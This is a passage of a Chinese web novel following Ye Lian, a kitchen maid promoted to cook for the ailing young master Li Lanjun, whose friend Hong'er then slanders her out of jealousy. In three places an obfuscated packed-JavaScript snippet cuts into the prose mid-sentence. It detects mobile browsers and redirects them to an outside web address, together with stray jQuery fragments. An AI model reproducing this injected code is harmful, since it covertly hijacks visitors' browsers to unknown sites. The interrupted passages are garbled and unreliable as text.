上完药用空了一瓶，红儿嘱咐她不能捂着，叶莲换了干净的冬装，只得撩着裤腿睡在通铺上。 翌日一大早，红儿便早早去门房给她使钱买药去了。叶莲支起身子起来，差点被腿上可怕的酸痛疼得下不了床。 幸而李兰钧回李府过节，整日都有空闲的余地，不然她这样子去送膳，必要因仪态动作出岔子。 11. 恩赐 李兰钧在李府住了整整五日，厨房也空暇得只用做些下人的饭菜，叶莲拖着腿忙着这些那些事儿，往往还没做什么便被按下来休息。 大家都从家中归来，厨房热闹了不少，人手充足自然用不着叶莲这个伤员。 不过一回南园就看见叶莲被虐待成这副模样，厨房的丫鬟们难免讶异，缠着叶莲听因由原委，才晓得厨房竟出了这么大的祸事。 家厨师傅们更是油然而生出歉意，对叶莲的话几乎是言听计从了。 不过叶莲倒没什么指示，除了趁火打劫地要求参与备膳开火事宜，他们也一副愧疚的样子答应下来。 其实叶莲反倒觉得，自己亏欠厨房的要多得多。人贵有自知之明，叶莲则更甚其中，她这些日子受了多少照顾，就觉得该百倍奉还才是，替他们挡下责罚，在她心中实际上只是一件很小很小的事儿。 自己上辈子做了多少善事，才能在南园里遇到这样一群人…… 天边日头正盛，鸟雀啄食水沟边剩的菜叶残渣，连日来放晴，院里那棵桃树没了积雪的包裹，立成一把稀疏的扫帚。 叶莲在有靠背的竹凳上，忍不住舒服地伸了个懒腰。看着云卷云舒，厨房大家各自坐在空余位置上，眯着眼睛打盹，万物一片静好，鸟鸣声声婉转清脆。 五日来都是这样清闲惬意，若李兰钧再慢一点回南园就更好了。 叶莲贪心地想。 门边望风的云儿本没个正形地靠坐月洞门上，突然像是瞧见了什么，惊得一下站起，压低声音道：“北院人往我们这儿赶呢！快都别打瞌睡了！” 一朝被蛇咬，十年怕草绳。自打上回北院来人后，厨房就多了个盯梢的差事，一般是空闲时候的活路，丫鬟们轮着来。 院里听她一声，须臾间没了困意，大家赶忙站起来做活，叶莲也扯过竹帚装模作样地扫着地，皆紧张地等着她们驾到。 周嬷嬷一脚踏进厨房大门时，厨房里忙碌得诡异，她环视四周一圈，最后将眼神落到叶莲身上。 “那个……”她想破脑袋，都不记得叶莲的名姓。 “你、你！就是你！”周嬷嬷索性直接走到她身边，语气好得出奇，“……叫什么名字？” 叶莲一哆嗦，缩着脖子转身回她：“回嬷嬷，我叫莲儿。” 沈嬷嬷走出来，唯恐她为难自己人：“姐姐有什么要事吗？” “好事，好事！”周嬷嬷和颜悦色地笑着，近乎谄媚，“少爷吩咐我来的，天大的好事！” 李兰钧吩咐的，真的是好事吗？ 叶莲心里纳闷。 只见周嬷嬷对着身后侍女努努嘴，那穿着鹅黄冬装的侍女便捧着一套崭新成衣上前。 藕粉色的成衣，做工用料比北院丫鬟的精致许多，样式也非南园侍女普遍着装，更像是她在街上裁缝店里见到的时兴衣裙。 “日后呀，你就穿着这身去给少爷送膳，少爷说了，你的手艺不错，平日里做些别样菜色给他换换口味，汤羹、时鲜、小食杂嚼……”周嬷嬷一通赘述，拉着叶莲的手亲昵地拍了拍，仿佛那日凶神恶煞的另有其人。 看来李兰钧是从她这里知道，做三鲜汤的人是叶莲了。 叶莲感觉神魂出窍似的，周嬷嬷说话像是在天外摸不着边际。 “我一看你就知道，是个有功夫在身上的，这次恩赐绝你一人配得呢……” 周嬷嬷苍蝇一样在她耳边反复说着好话。 叶莲飘飘然谢过，仍是一副状况外的模样。 “那好，那你快快去买，晚膳后送来。”周嬷嬷塞给她一块木制腰牌和一吊钱，又将新衣抱给她。 待周嬷嬷走后，大伙放下手中事物围上来，七嘴八舌地说着话。 “老天，莲儿你可真是出息了！” “那不是每日都能出去逛了？不过要伺候好少爷，也是一桩险差事啊！” “是啊是啊，何况你的腿还没好全呢，今日就要去送膳，该如何是好？” 叶莲脑袋里嗡嗡作响，半晌她才反应过来：“我得出去采买了！” “快去吧，不然赶不及了！”云儿推搡着她出门，顺便塞给她一只竹篮。 叶莲把衣服交给云儿，临走时多看了一眼在一边的红儿，她与她对视，红儿扯出一个勉强的笑容。 叶莲心里怪郁闷的，却又来不及细想，紧着脚步慢慢朝偏门走。 她腿上的伤因红儿的伤药好了许多，发红肿胀褪去，只剩淤青未散尽。走起路来有些不适，但也不叫她疼得难受，这就已经够了。 叶莲给门房看了腰牌，穿过胡同走道街上去。 给李兰钧做点什么送去，现在是一大问题。他素来口味清淡，碰不得荤腥油腻，平日常与汤药为伴，吃食方面更是讲究，加上他为人刁钻…… 叶莲边走边想，苦思良久忽然灵机一动：她送雪梨煎水那次，李兰钧喝干净了。 或许他这个久病之人，被苦涩汤药折磨惯了，其实私下里喜甜？ 但她从未听闻李兰钧有过偏爱的吃食口味，所以只得胡乱蒙猜了。 “姑娘，早晨新鲜挖来的马蹄，看看么？现下正是吃马蹄的时节呢！” 一老妪见她在摊前停留，忙介绍道。 近在眼前的糖水马蹄，叶莲立即弯下腰开始挑拣起来，刚出土的马蹄即使被粗略擦净，上面也沾了些淤泥，泥土的腥味混着马蹄的甜美清香。 叶莲捡起约莫十几个，心中已有了盘算，她付了钱，在几个摊贩前奔波半天，终于采买完了食材。 篮里有一堆马蹄，两个泛青的雪梨，用纸包着的一包是银耳，另一包是糖霜，边上一小瓦瓶里装着新鲜蜂蜜，瓶口木塞处溢出一点透亮明黄。 叶莲急着回南园准备菜式，没多停留片刻便缓步往回走，一点不敢耽搁。 匆匆而去，匆匆而归。 她进厨房院里还未停歇半刻，将竹篮放在菜案空处，端起一个木盆和一只海碗在桃树下坐下，方坐下一会儿又一拍脑门，站起来进厨房拿了一把片刀，又舀水倒入盆、碗中。 厨房在备晚膳，大家只简单跟她打了照面，便都安静地做自己的事去。 叶莲将马蹄放入盆中，弯下腰仔细清洗，清洗几遍后开始慢慢削皮。 雪白的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186825|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马蹄心被她切成小块，“咕咚”一声丢进碗里，接着是去皮切成厚片的雪梨，削皮后她换水淘洗几道，才端着碗进厨房。 她找到厨房后门处放下篮子和碗，门外连接着菜地，一片郁郁葱葱的景象。 “莲儿，要不要给你挪个位置？”李伯见她在厨房里忙活，腾出嘴问。 叶莲正搬起一方火炉，火炉上架着一口小巧的土砂锅，她转头回道：“不了，我这个用不着这么大地方。” 李伯答应后继续切菜。 叶莲手里的东西被红儿接过，替她摆好放在地上，她看着红儿，总是有股说不出的心酸。 红儿比其他姑娘奇怪，待她掏心掏肺的好，有时却又别扭。 她总觉得不了解红儿的想法，可也不知如何开口，云儿说过，她是落罪的小姐，想的事情，做的事情，一定跟自己这种人不一样。 “要炭火么？”红儿问。 这句其实多余，但叶莲还是认真地回她：“要，辛苦姐姐替我去铲来了！” 红儿笑笑，帮着她去铲炭火。 准备得当后，叶莲又拿一个小碗，把银耳放进碗里用温水泡发。泡银耳期间，加入清水倒梨片入锅，她从纸包里抓出几块糖霜丢入水中，盖上盖任它慢慢沸腾。 姐妹们早已经端着晚膳去北院布菜，叶莲还在锅前，看准时机放入剩下几个材料。 “那莲儿日后必定要同我们学点手艺了，不然北院那边不好交差啊！”烧完菜，师傅们靠在灶边有一搭没一搭地谈天。 “这回你们没法子推脱了吧？”叶莲嘿嘿一笑，火炉里烧得滚红的木炭冒出烟气将她熏得眼睛发昏。 “嘿，你这丫头……” “你别说，莲儿确实有点天赋在身，不然我们烧了这么多年菜，少爷都没见搭理过，莲儿才送去一道，诶，就被点去做花样了！”李伯乐呵着开口。 一位师傅听罢说起真心话：“我们这都是为了糊口，有几个真心喜爱的？还不都是早早出来找活做，草草选定了一个行当。” “说的在理，我当年啊……” 叶莲趁师傅们空闲之际，将自己的糖水托付给他们，抱着竹椅上的衣服回下人房换上，换好出来瞧时辰差不多了，揭起盖往锅里放入马蹄、银耳。 糖水煮好后，她熟练地装进保温的钵子里，备上碗勺端往北院去。 她想若是李兰钧真的贪甜，那也不枉费她花大价钱买的野蜂蜜。 北院里静悄悄的，红儿带着一列人拎着食案从前厅躬身而出，正巧碰上刚踏进来的叶莲，几人也不敢打照面，相视一眼便擦身离开。 叶莲临入内室前深深沉气，打起精神端餐食入内。 内室一贯的香烟缭绕，李兰钧坐在纱幔之中，正不疾不徐地喝着侍女喂来汤药。他风寒方愈，右手上的烫伤却浮肿成一大片水泡，可谓一祸接着一祸，紧着他这病公子糟蹋。 叶莲觑见他在服药，暗自放下心：即使她没猜对，李兰钧这时也是渴着一口甜的。 “你……叫什么名字？”李兰钧老远就见她端着食案过来，走到他身前他又装作刚看见似的问。 12. 领赏 周嬷嬷这等老仆尚且不记事，李兰钧更是不须多留意了。 叶莲谨遵上意，乖巧地回话：“回少爷，奴婢名叫莲儿，莲花的莲。” 她穿一身藕粉色冬装，领口缝着毛茸茸的白绒，马甲上绣着两只白皮毛红眼睛的小兔，通身粉嫩水灵，说话时梨涡在颊边微微显现，黑羽似的睫毛扑棱，分明是极娇俏脱俗的一个美人胚子。 李兰钧打量她过了头，没由来地想起那夜她坐在床沿边的模样，今日倒清晰许多，让他看个真切了。 “荷叶罗裙一色裁，芙蓉向脸两边开……”他似喃喃自语地念道，声量轻得不像话。 叶莲自然不晓得其中意思，颔首等候他的发落。 李兰钧移开眼，偏头示意她摆放好食案上的东西。 叶莲便走到矮桌边，放下食案，将糖水和餐具一一摆放整齐，待李兰钧喝完药用。 打开盖的糖水腾腾散发着甜气，随沉香混入李兰钧鼻中。 “拿下去。” 李兰钧霎时觉得汤药苦涩，须用甜意浇灌口舌。 碗中汤药未动几口，侍女也不多言，依言退下。 “里面是什么？”他又对叶莲发问。 叶莲跪坐在桌边答：“少爷，是糖水马蹄。” 李兰钧平日里吃的都是四季常有的果蔬菜肉，一些山珍稀果从不端上餐桌，以防他突然要享用，却因不应季而不能交差。 所以，马蹄这种民间果实他其实不认得。 “哦，盛上来吧。”他不想犯蠢多问，收敛了神色冷淡道。 叶莲拿着一只瓷碗走到他面前跪坐下来，用调羹拌匀了，才舀一勺喂到他嘴边。 李兰钧靠坐在矮榻上，右手耷在一侧，静静在放着软垫的高凳上躺着，他不能大幅度地动作，便只能低头含住调羹，将糖水缓缓咽进肚。 他忽然垂头靠近让叶莲吓了一激灵，嘴唇近在咫尺地含着前半段调羹，又慢慢吐出来。 叶莲捏着调羹僵成一块死木。 “这么喂，到明年开春都喂不完。”李兰钧看着那拇指大的铜制细把调羹，幽幽道。 叶莲一句“奴婢知错”已从嘴里溜了出来。 “知道错还不换个法子喂？” 李兰钧惜眼神如金，看都不看她一眼。 叶莲没带多余的勺子，硬着头皮问：“少爷，直接用碗喝成么？” 言毕才觉得自己犯了混，低着头不敢动。 李兰钧瞧她头顶乌黑的发旋，勉强应了一声“嗯”。 叶莲马上抿着唇掩住喜色抬起头，却见李兰钧盯着自己看，一时也不知该不该继续下一步行动。 李兰钧慢一步收回目光，清清嗓子咳了一声。 小丫鬟一点即通，端着碗凑上来，一碗淡黄的糖水送到他嘴唇半寸处。 见她倾身翘首仰望的样子，李兰钧心情尚可地用嘴叼住碗边，一口一口喝了起来。 叶莲身着的冬衣与南园统制的下人服饰不同，是阔袖长袄。即使里边穿了一层底衫，因着不大合身的缘由，竟能瞧见袖中葱白一段手臂。 那双白瓷似的手臂明晃晃地显露出来，半截因袖口滑落在外，半截因手举太高也能瞧见其里。 李兰钧素来养病不近女色，并非是他不想，而是身子实在消受不住。 不然那夜见女子身姿绰绰，他也不会情不自禁地迷蒙了。 总之，他确实不近女色，而这个小丫鬟……莫不是在勾引他？ 李兰钧喉头滚了滚，做出一副被迫受诱惑却宁死不屈的神情。 他从不在自己身上找原因，而叶莲这个被抹黑的受害人更是一脸懵：少爷的脸色几经变幻，是她的糖水太难喝了么？ 不对，难喝李兰钧会送她出去见板子，那就是太好喝了。 叶莲此时心里也盘算着，二人各怀心事，饮完了这碗糖水。 “行了，”李兰钧这才将眼神从她手腕上移走，偏偏还作大义凛然的模样，“收拾下去吧。” 他让叶莲送膳其实目的不纯，一来是她手艺确实不错，这个则是正当理由；二来是她聪明伶俐，敢在他面前讨巧卖乖，收在身边也算是有趣；而这三来……是李兰钧绝不会认的一点——她的姿色正长在李兰钧的喜好上，他略有歹心。 南园、李府，甚至整个扬州，打着灯笼都找不着的脸蛋没有一千也有二百了，叶莲这样的放进一众美人里算不上出挑，可偏偏在那床边上，她缩在灯影里的样子让李兰钧看出一点我见犹怜来。 李兰钧各方面都刁钻，能有个喜爱的玩意儿不容易，所以他自己做主，把叶莲拘在身边，意为消遣。 “过段日子你搬过来住，我在北院自起了一间小厨房，省得你东蹿西跳扰我清静。”李兰在叶莲收拾的间隙颐指气使道。 “清静”二字，由他说出来难免滑稽。 但李兰钧这么个性子，他说什么也没人敢驳斥，叶莲当然也不敢。 “奴婢谢少爷恩赐。”叶莲跪在地上谢恩，心里不情不愿，面上却仿若无事一般。 离开厨房到北院来，对她来说简直是晴天霹雳，北院里的人一个比一个刻薄，她孤苦伶仃地过来，免不了一顿欺负。 而李兰钧这个最大的祸头，坐在自己面前扬起一抹似笑非笑的笑容，好像在谋划着整她。 她一个小丫鬟，李兰钧犯得着专门来欺负她吗？叶莲不由觉得自己多心。 “冬青，赏些东西给她。”李兰钧心情大好地挑眉，手上的伤痛都减缓不少。 冬青忙答应道：“是，少爷！” 然后快步走到叶莲面前，笑眯眯地对她说道：“莲儿，收拾好跟我走。” 叶莲一听要给赏赐，才确认这不是对她多日来犯错的惩罚，她端着残余的糖水，由冬青引路出门。 出门没走多远，冬青便一步一回首地看着她笑道：“少爷好久没赏赐过下人了，你是头一个呢！” 李兰钧如此小气……叶莲心道，面上却作惊讶状，“是么，能得少爷赏赐，真是我的福气！” 冬青为人纯善，听罢又滔滔不绝地说起李兰钧：“大家都怕挨罚，所以表现得不太机灵，少有人能理解少爷的意思，宁愿少说少揣摩以免惹祸。” “少爷又是个性情多变之人，平时一些指示无人会意便难免责怪……我记得你刚来那会儿，好像还在少爷面前卖了回乖？” “诶？”叶莲讶异于冬青这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186826|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大总管竟然知晓自己，“……是我初来乍到，不懂规矩。” 冬青抬脚跨上两层楼梯，走到两处屋室的连接处，叶莲紧跟着跨上去，面前是一条左右岔道。 “我回来听他们说，就觉得南园终于有了生气，至少不那么闷了。你倒是有意思，会说话，懂分寸，这是难得可贵之处啊……” 他往右侧的走廊走去，那里点着灯都有些暗哑，尽头处只有一扇门，可见仓储库房之大。 “我自小跟着少爷，到现在也不能摸透少爷的心思，有些东西费尽心思都未必能领会，是我太木讷，少爷念着情分才留我至今。” 冬青不同于其他人，或许是常奔走于外的缘故，健谈而又不让人觉得反感。他说这一堆话，叶莲听得出他委婉的提点，还有自谦。 他拿起房门外沉重的铜锁，又从兜里取出一串钥匙，挑出一把探进锁孔。 门开之际，叶莲回道：“您有在少爷身边的本事，待他有真心真意，何必为一颗玲珑心。” 冬青手上一愣，旋即推开房门，留一条二人过的门缝，转过身看着她微微一笑：“莲儿姑娘见解独特，请吧。” 叶莲提裙而入，黑暗中一排排木架上放满了物件，边角空处还有堆积着大大小小的木箱。 冬青进门一一点了灯，里边才开阔敞亮起来。 入目皆是珠宝书画、古玩摆件，最靠里的架上孤本善本整齐摆了一书架，叶莲看着磅礴，却无奈自己不识字。 “想要什么，自己取就是。”冬青站在门边道。 虽说是随意取用，但也要有个分寸。叶莲在其中游走一圈，看墙上挂着几十张书画，不似其他书画收纳保存起来，而是悬在壁上供人观赏。 既然是挂出来的，一定不如收起来的珍贵，库房里的东西她一样都不敢拿，拿个悬挂的画作应该不成问题吧？ 叶莲将目光彻底放在墙上这些字画里。 她不识字，但也想选个心仪的物件，所以就只能挑画了。 这些画里有庭院、山水、飞鸟走兽，还有花草，叶莲走到冬青看不见处，停在一幅画面前。 水墨勾勒的几枝荷花，花下托着两片莲叶，枝干下点点浮萍，虽是黑白的画面，但神韵仅用短短数笔就能描绘而成，叶莲这个门外汉都能看出几分笔力，又是她名字里的花样，一见即喜爱得不得了。 冬青在门口没候一会儿，里边轻声响动，不久叶莲便抱着画走到他跟前，模样像捡到了钱。 “只要这幅字画，不再拿些别的？”冬青问。 叶莲摇摇头，浅笑露出梨涡：“左看右看只喜欢这个，其他我没有心仪的，拿着也不合适。” 冬青点头：“莲儿姑娘风雅得很。” “哪里哪里，我见它好看才拿的，看不出门道。而且……我大字不识半点，拿的是画，我只看得懂这个！” 叶莲连忙摆摆手，说着就展开那幅画卷，现出画上的莲叶托荷来。 夹道风吹得厉害，画卷随着冷风摆动，画中的景物像活过来似的，水面清圆，风荷举。 画上有两方朱红泥印，一方篆刻的是君子如兰，另一方则是一株兰草的画刻，在下落款三个潇洒小字——李兰钧。 13. 污蔑 叶莲受赏这事如同落水石子，再小都要泛出涟漪。她摇身一变成了南园的红人，下人们众说纷纭的中心人物。 而李兰钧在北院修葺小厨房，更是为她添上一把大火。 她在大火里差点被烧成炭灰。 首当其冲的改态之人便是周嬷嬷，她如同找到了亲生女儿，隔三差五过来套近乎，借传话的由头给她以“意思意思”，递些钱财首饰之类。 其余各处的领头也前后来表示了好意，送东西叶莲没敢收，说的话她也当听说书笑笑就过去了。 她一心研究吃食，最近更是开始涉及调理养生的相关领域，南园里把她的高升当作攀附求荣，只有她天真地以为自己是去当厨娘的。 厨娘叶莲刻苦求学，李兰钧不吩咐她送膳时，她有大半时间都待在油烟泛滥的厨房里，讨教完烧菜的功夫，又要去府医那儿充当学徒，帮忙挑拣药材，以换求教的机会。 “豆儿，你尝尝看？”叶莲提着汤勺，里面有一块炖煮得软烂的猪肉。 豆儿是从外院拨来的新人，和她一块晋升过来的另一人叫桃儿。 豆儿心宽体胖，嘴也是十分馋，叶莲试菜的搭档理所当然地落在她头上。 只见豆儿将手上的水擦抹在裙摆上，匆匆凑过来拎起那块肉，也顾不着烫嘴，一口吃掉在嘴里烫得到处推放。 “好瓷，好瓷！” 豆儿烫成一个古董商人。 “我也试试！”云儿忽然出现，扒着叶莲的肩头张开嘴，“啊——” 叶莲笑吟吟地捞起一块肉，吹凉了才倒进她嘴里。 云儿嚼吧嚼吧，刚咽下便点评道：“比集市上的味道还好，快来快来，大家都尝尝味儿！” 众人得了指示，纷纷拥上来品一口美味，轻声细语地夸赞起来。 隆冬腊月，大雪接连下了十几日，今日也没消停，鹅毛似的雪花被寒风一卷，吹落到灶台上。 门边的灶台上的土陶瓶插了几束红梅，与屋后菜地边那几枝杂生乱长的梅树出自一家。 红儿站在灶台边摘菜，菜苔米粒大的花瓣簇拥成一小朵，被她在水里淘洗几道落了个干净，花瓣零落地浮在水上。 “吵吵闹闹像什么样子？” 她独自在一处，其余人皆堆在叶莲身边，她睇一眼过去，见着叶莲被拥簇的情形脸色一沉。 叶莲心里明白亲热的人多了，疏远憎恶的人也不会少，做好自己的本职就是。 只是疏远她的人是红儿，她受不了。 气氛霎时冷寂下来，师傅们不多插手她们的事，丫鬟们你看我我看你，心里明白她在针对谁。 “大伙先做事吧，我这儿没有要帮的了。”叶莲扯出笑脸打圆场。 众人闻言散去各自忙活起来，叶莲站在灶边，与红儿相对无言。 “姐姐，我这儿给你留了一块，你吃么？” 叶莲纠结半天，还是讨好地对她说道。 红儿看她一副深明大义的模样，心里更不是滋味，但她不明摆出来，只是淡淡地回道：“不用了，我手里有活。” “好，那你先忙啊。” 叶莲佯装不知她的冷淡，还是一脸笑容。 红儿的疏离起先并不明显，叶莲受赏她也并未表现出任何不满，她只是变得很客气，这种变化旁人难以察觉，叶莲却心领神会。 直到她听闻了叶莲要搬去北院的消息…… 刺人的嫉妒便在此刻流淌而出。 夜里，叶莲从北院给李兰钧送膳回来，下人房早早灭了灯，她借着雪地映出的白光蹑手蹑脚走到门口。 她托人买了眼下最时兴的紫苏梅子姜，那香糖果子被纸包成一小袋，叶莲提溜在小指上。 心中反复腹稿多次，临到门口她却怯了场，站在门边紧张地自语半晌，好不容易做好准备，手上正欲开门，门却从里开了。 红儿板着脸从屋里走出来，不等她进去就关上了门。 叶莲见她脸色不虞，心中隐隐不安起来，多日以来不愿面对的问题，在她准备伏低之前主动找上她，结果一定不遂她意。 门关上以后，红儿站在门口直直看着前方，并不理会莲叶投过来的眼神：“走吧，我俩单独聊会儿。” “姐姐……” 叶莲万分不愿，试图用亲近的口气哀求道。 红儿不吃她这套，“走。” 夜里还零散地飞着细雪，红儿率先走下石头堆成的台阶，在门外薄薄疏疏的雪色空地上等她。 叶莲心里的郁结化作口中一片白气，她无奈而跟着走入雪中。 “莲儿，自你来这儿以后，我就知你是个待不住的，迟早有一日要走出厨房……”红儿未等她站定，脱口而出这句听着冠冕堂皇的话语，“你心气高，平日从不想着好好做事，几次三番勾引少爷不成，这回成了，你该满意了吧？” 她语气里满是鄙夷，甚至不惜以勾引的罪名抹黑，明明她是最亲近最知道内情的人。 这话一说出口，不知情的人只会觉得叶莲险恶的面目终于被揭发出来。 “我平日里的所作所为如何，不求外人理解……姐姐，明明你知道，明明你清楚——” 叶莲听她说完，双眼难以置信地瞪大了看着她，咬唇颤声求问。 枝上的陈雪簌簌抖落，一阵疾风“呜呜”刮过，将雪粒子往叶莲脸上打。 缠在指上的红绳绞得指尖失血泛白，纸包因风动在裙边不住拍打。 “明眼人心里都门清，你假惺惺的样子留给想看的人看罢！”红儿冷笑一声，意有所指地上下扫她几眼。 “你那夜去少爷房里伺候，回来我问你做了什么，你说没有，我当时还傻乎乎地信了。现在仔细想想，一个奴婢进了主子的房门，怎么可能还有清白的余地？你被夺了身子，怕人晓得传出去，才跟大伙说无事发生。” “进不了李府的门，还想保全日后嫁人的机会，可不只得这样说吗？” 妒色使她变得扭曲，昔日百般照顾的姐姐，那张叶莲觉得温暖可依的脸骤然面目可憎，露出里边的妖魔皮相来。 “莲儿，你这人一点都不真诚。”红儿嗤笑着摇摇头，“我往日对你的好，就当……喂狗了。” 红儿的声音不大不小，正好下人房能听清楚，但也不至于传到一墙之外去——这话不光是给叶莲听的，还有房里听墙角的丫鬟们。 叶莲如何都不会想到，她那时为了讨红儿开心说的话，现在被人家摊出来当作污蔑的好手段。 偏偏她只对红儿说过，偏偏过后是红儿帮她给大伙澄清，她现在就算有十张嘴来回辩解，也说不清了。 “你连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188967|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐妹情分都不顾，非要陷我于不义么？”叶莲知道一切都无力反驳，一字一句地盯着红儿质问道。 她眼圈泛红，咬着牙不肯示出弱态，袖中五指紧紧攥在一起，又脱力松解。 那包果子就这样“啪”地一声落地，陷入雪里，红绳凌乱地躺在霜白中，格格不入的绯色与丢下它的人一样彷徨。 红儿被她看得心头一颤，却还是咬死她为人不端的谎话：“我替你瞒得够多了，日后你是死是活我都不会再管。” “不用，是我蠢……我以为我能改变你的想法，我讨巧我卖乖，从来捂不热你的忌妒之心！” 叶莲气极反笑，自嘲道。 “你！”红儿被“忌妒”二字戳中，厉声斥骂，“你破了身却没如意进门为妾，是你自己没本事，被我戳了痛处，坐不住了吧！” 红儿下意识往房门处望去，她着急找人认同的模样好似在说：看，她的本来面目终于显露出来了！ 只可惜没人看得见，叶莲这个当局人也默然离开那处空地，留下多处重叠一双慌乱的脚印。 她的背影缩成一小只，垂头推开房门走进屋，屋里一众没来得及躲闪，站成杂乱的一团。 她们的眼神有憎恶、有不可置信、有将信将疑，但更多的是漠视，就算信她也不会表现出来，她是要离开的人，而她们是要长久留下的人。 想要留在这儿，就要站在这儿的领头这边，叶莲是得势了，得的是北院的势，跟她们厨房无关，厨房的话语权在雪地里那人的身上。 雪地里的红儿头发斑斑，雪落在温热的皮肤上化成冰凉的水珠，落在发丝上成了一瞬垂老的假象。 她胸口的起伏渐渐平复，那气焰冲冲的忌妒温和下来，转变为一股不知该喜该愁的情绪。 覆水难收，她自认为自己已是宽宏大度，清理了一个背叛她背叛厨房的异类。实际只是满足她的一己私欲，助长她只能向下包容而不能容忍别人往上的独断自私。 叶莲不敢看屋里众人的脸色，草草换上冬装裹着外衣进了被窝，如今只有被里这方寸之间能容得下她。 红儿站了一会儿，等到全身都冷透了才沉着脸进屋。 夜雪忽如鹅毛般越落越大，窗外风声一夜未歇，风雪间隙，叶莲蜷起身子将脸贴紧铺面，眼泪如决堤一般汨汨涌下。 “有这委屈劲，当初就不要去做这下三滥的事儿啊……” 一旁有人听见她哭，向红儿示好一般挖苦道。 叶莲捂着嘴，忍着呜咽声抽泣，过了好一会儿才止住。 人心真是复杂啊，她本以为红儿只是有些可以忽略的小毛病，她包容忍让，换来的却是当头一棒，红儿妒气冲冲将她咬得鲜血淋淋…… 在门外站着时，她也期盼过云儿会像往常一样，为她出头说话，但没有人开过口，直到她推开门，看见云儿同众人站在一块，她在心里最后一次乞求她开口，云儿缄默着，什么都没说…… 赶紧离开这是非之地吧，她宁可被责骂，也不愿被故意忽视。 风声大得像哭号声，叶莲裹紧被子，闷在里边不敢探出头。 天边泛起鱼肚白，风雪歇停，屋外铺上一层厚重的白毛被，霜寒凝满枝头，檐上残雪松动落下，仿若一夜平静。 叶莲悄声出门，迎接她天翻地覆的新一日。 14. 顶嘴 厨房还未开火，叶莲老鼠似的躲进后门边，坐在门槛上看着菜地里的青菜出神。 几枝乱梅昨夜经过风雪的打压，焉焉伏在菜地上，砌下落梅点点殷红散在雪覆着的沃土之上，纷杂纷乱。 “莲儿，莲儿？” 有人在厨房门口探头探脑。 叶莲倚在膝上转头，见周嬷嬷一副慈蔼的模样，心头浮起一些慰藉。 她拍拍衣裙站起来，勉强笑着上前：“周嬷嬷，你怎么来了？” “你坐在那儿做什么，着凉了可不行，”周嬷嬷笑吟吟地扶住她的肩膀，“少爷让你送饭菜去，今早不用厨房了。” “哦，那我这就做了送过去。” 叶莲乖巧答道。 李兰钧这些日子常让她送膳去，早晚都有，一般随他的心情而变。 他手伤已好，叶莲便只用上菜等他用完，最后端回来就成，比他要人喂食的时候要安全很多，不说自身无碍，至少心里是踏实了。 周嬷嬷突然注意到她浮肿的双目，皱眉多嘴：“你这……最好用帕子敷敷再去北院。” 叶莲一脸被欺负的样子，但周嬷嬷才不管她受了什么苦，一个飞上枝头的奴婢，不要惹少爷发怒才是最重要的。 “啊，昨夜风声大，没睡好……”叶莲心虚地掩住面目，干笑着解释。 周嬷嬷不再多问，假意说了几句体己话，没事人一般踏出院子走远了。 她刚走不久，叶莲害怕被发觉，赶紧接来一盆凉水，用手掬一捧往脸上浇去，刺骨的寒冷让她忍不住激灵。 又这样泼了几捧，直到脸上冷得做不出表情，她才收了动作，将水倒入被雪藏住的水沟中。 处理好自身，叶莲才开始备李兰钧的早膳，她从水井中拉出一个扁竹筐，筐里有一小堆蛤蜊和两个白嫩泛青的茭白，因着落雪的缘由，上面有凝结的冰霜和薄雪。 她将茭白拿出放在灶上，蛤蜊倒进装了冷水的木盆，在水里滴入几滴菜籽油，又撒上一小撮盐，最后静置在一边。 生好了火，茭白冲洗干净用片刀切成整齐的片状，待水开悉数下入，沸水焯开再捞出备用。 她的刀工在连日来的学习里长进不少，不用多时配菜便切好成丝。再放细葱丝、莳萝、茴香、花椒进石臼中，用杵研烂后洒在茭白上，撒入细盐拌匀腌制。 蛤蜊吐完沙，叶莲用小刀去壳，留肉放进碗里，再淘洗几遍，添上香粳米滚锅成羹。 师傅们才刚入厨房，她的蛤蜊米脯羹与茭白鲊两道菜已经全数做完，正在忙活最后一样菜式。 “今日少爷又不吃厨房？”李伯走近道，看叶莲在泡洗干莲子和百合。 叶莲忙里抽空回他：“嗯，早膳由我做去，您早上可以歇会儿，回去睡回笼觉了。” 众人闻言笑了起来，笑过又说了几句闲话，才凑上来帮衬她备膳。 “不用不用，差不多啦！”叶莲将他们赶到一边，放入三块冰糖后舀起汤水，装碗装盘。 “你昨儿偷猫去了？眼底比锅底还黑！”一人见她眼下发青，开玩笑问。 “哎呀，不说了，我要去送膳了！”叶莲故作繁忙的姿态，将这问话搪塞过去。 她端着食案急匆匆出门，没给他们多问的机会。 一路上静悄悄的，反倒让她安心下来，渐渐放缓脚步，徐徐往北院走。 